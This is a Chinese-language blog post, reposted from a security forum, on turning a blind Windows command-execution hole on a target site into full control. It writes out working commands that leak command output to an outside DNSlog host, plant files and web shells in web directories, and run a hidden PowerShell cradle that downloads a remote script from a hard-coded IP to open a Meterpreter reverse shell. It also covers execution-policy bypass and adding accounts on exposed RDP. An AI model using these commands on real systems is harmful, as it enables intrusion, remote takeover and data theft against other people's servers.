猫头鹰
信安舆情早知道

使用Powershell反弹Meterpreter Shell

撸站时难免会遇到一些比较特殊的情况,遇到一个可以执行命令的点(Windows,可连外网),却无法获得回显;这种情况下我通常会用这几种方法去尝试:

  1. 使用CloudEye获取命令执行的结果
  2. 找Web路径写WebShell
  3. 下载一个MSF的Payload直接反弹

某些情况下目标直接对公网开放3389,直接加个账户用完再删…

先说第一种方法,

使用CloudEye获取回显结果:

for /F %x in ('whoami') do start http://cmd.xxxxx.dnslog.info/[%x].jpg

执行这条命令,会调用默认的浏览器去打开后面的地址,我们可以获取到whoami的命令执行结果。

1

这里有一点比较坑的情况是如果结果中一行有空格,那这一行空格后面的结果会丢掉。

比如我执行Dir D:\这条命令的结果就变成了这样:

for /F %x in ('dir D:\') do start http://cmd.xxxxxx.dnslog.info/[%x].jpg

2

好在dir有/b参数可以解决这个问题:

for /F %x in ('dir /b D:\') do start http://cmd.xxxxxx.dnslog.info/[%x].jpg

这样就能大致完成遍历目录的工作(目录或文件名有空格也会截断结果)

3

第二种方法:找Web路径:

您要是愿意一个目录一个目录去翻,或是找配置文件来定位Web路径,我也没有意见;但我经常用且行之有效的方法是找一个web目录中文件名字比较特殊一点的文件,然后搜索:

for /F %x in ('dir /s/a-d/b E:\*PopMessage.jsp') do echo 111222>%x.jsp

这样会在E盘中每一个包含PopMessage.jsp的目录中再写一个PopMessage.jsp.jsp,文件内容是111222;待一定时间后命令执行完成,试着去访问生成的这个文件看结果;成功了再写一个一句话又何尝不可,别忘了删除您写的垃圾文件。

同样,您也可以将搜索的路径结果通过CloudEye返回,自己判断哪些有可能是Web目录然后再写文件。

第三种方法:下载MSF的Payload

请参见:http://drops.wooyun.org/tips/2420

我经常用的有3种下载方法:FTP、Powershell、bitsadmin,因为在不能确定目标有没有安装杀软的情况下这3种方法是最行之有效的。

若是目标有Powershell的话,那么会有一种更为简单的方法来获得Meterpreter Shell:

Veil FrameWork已经给我们提供了足够的资源:

https://github.com/Veil-Framework/Veil-Evasion/tree/master/modules/payloads/powershell/meterpreter

我使用reverse_tcp的Payload来做测试,若是使用Veil先用对应的Payload,则会生成一个bat文件:

4

为了将其简化,从其中提取Powershell代码:

5

注意上面设置反弹IP和端口的地方:

$s.Connect('反弹IP', 端口)

我把这些代码写成了一个可以远程调用的方法(rev.ps1):

6

通过远程调用,就不需要往目标服务器上上传文件了:

Metasploit payload/windows/meterpreter/reverse_tcp监听9527端口:

x64执行:

C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -nop
 -W Hidden -exec bypass -c "IEX (New-Object 
Net.WebClient).DownloadString('http://111.222.123.215/rev.ps1');rev"

X86执行:

powershell -nop -W Hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://111.222.123.215/rev.ps1');rev"

成功获得Meterpreter Shell:

7

使用此方法要注意的是目标服务器可以连接外网,且带有Powershell。使用

powershell set-executionpolicy remotesigned

C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe set-executionpolicy remotesigned

允许Powershell的脚本执行权限。

 

*来自乌云Zone精华文章,图片模糊敬请谅解。Mottoin小编整理发布

转载请注明来自MottoIN,未经允许不得转载!MottoIN » 使用Powershell反弹Meterpreter Shell

分享到:更多 ()

评论 抢沙发

评论前必须登录!

 

MottoIN 换一个角度看安全

寻求报道联系我们